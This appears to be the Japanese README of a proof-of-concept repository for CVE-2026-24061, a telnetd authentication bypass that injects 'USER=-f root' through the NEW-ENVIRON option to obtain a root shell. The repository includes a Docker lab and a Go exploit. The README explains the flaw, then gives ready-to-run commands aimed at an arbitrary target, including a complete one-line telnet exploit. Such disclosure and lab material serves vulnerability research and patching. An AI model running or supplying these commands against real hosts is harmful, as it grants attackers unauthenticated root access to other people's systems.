
GNU Inetutils telnetd の認証バイパス (CVE-2026-24061) 用の概念実証エクスプロイトです。Docker ラボ環境と Go PoC を備え、NEW-ENVIRON オプションを悪用して root シェルを取得します。
2026年にまだtelnet?マジで?そろそろ次に移ろうよ。SSHは1995年からあるんだぞ。 🤦
GNU Inetutils telnetd のバージョン 1.9.3 から 2.7 に影響を与える深刻な認証バイパス脆弱性です。
この脆弱性は、NEW-ENVIRON telnet オプションを悪用して、login(1) に悪意のある引数を注入します。telnet プロトコル経由で USER=-f root を設定することで、攻撃者は認証をバイパスし、認証情報なしで root シェルを取得できます。
telnet プロトコルは、クライアントがサーバーに環境変数を送信できるようにする NEW-ENVIRON オプション(RFC 1572)をサポートしています。telnetd デーモンは USER 変数を login(1) に引数として渡します。
USER=-f root を送信すると、値は次のように解釈されます:
-f フラグ: 認証をスキップ(信頼できるホスト)root: 対象ユーザーこれにより login -f root が実行され、即座に root アクセスが許可されます。
PoC は、IAC WILL ECHO(0xff 0xfb 0x01)をチェックすることで悪用の成功を検出します。これは、シェルアクセスが許可されたときにサーバーが送信するプロトコルシグナルです。
# Build and run the vulnerable telnetd container
docker compose up --build -d
# Test the exploit
go run poc.go 127.0.0.1 2323
# Using the Go PoC (with interactive shell)
go run poc.go <target> <port>
# Simple PoC using standard telnet client
env USER='-f root' telnet -a <target> <port>
poc.go - 対話型シェルを備えた Go エクスプロイトDockerfile - 脆弱な telnetd コンテナdocker-compose.yml - ラボ環境のオーケストレーション